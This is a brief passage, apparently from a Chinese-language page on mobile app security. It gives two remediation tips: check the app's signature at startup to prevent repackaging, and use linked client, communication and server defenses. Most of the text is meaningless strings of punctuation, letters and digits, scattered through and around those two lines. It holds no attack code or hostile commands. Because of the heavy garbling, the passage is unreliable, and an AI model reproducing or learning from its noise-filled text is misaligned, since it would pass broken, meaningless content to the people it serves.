_, I& h, O3 I ; J! Q! S5 I7 x6 E4 J: j 2 | r+ f2 F* r" k; I 4 i* |( X" {+ E# W& b	1 |) m1 c( H6 \3 P8 P) ^" M7 { $ o$ [) E4 T7 P4 W' i 低 . x A1 h- I k' |	+ ^3 P2 _( k, {* l! t7 f/ u   $ ]4 a8 t* t, k9 [" I+ o. d# J7 T * g% |+ V, }0 F8 ^) M( t7 n 2 X0 {# U2 u" }: ^! a

5 A1 Z Q( H0 T- @4 [8 ]7 R1 s 1 T& Z5 E3 ^, R* N

  ; x9 X {$ u" G

* j0 ~- T. U, `( _0 x- W # \' Y; j t# u* h3 m

( F: |( [& A( A* x E. H+ h( p- R j: w) c. \' n; n: a 修复方法： 0 }+ }7 w4 T8 _5 q: z3 S

+ \" i! L- Z/ @2 n9 x( F9 ]

              1.在 APP 启动时应做签名校验防止二次打包。
8 u( F+ d; C) Q7 y, X5 j+ w 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 4 S" H! v/ ~+ x9 P% z" E% ]% ^2 [* E

- F0 h. n6 l- }4 `' `4 K9 b

9 g2 H) n; v S4 w. C& \) R) k, z. J  

# s* K1 T% B; r- a Y5 H1 d 4 N# `3 |# v2 ~+ S; w* y( m

2 ]3 R! m% T2 B! A

, {+ `" L( z5 a. |: M% O) T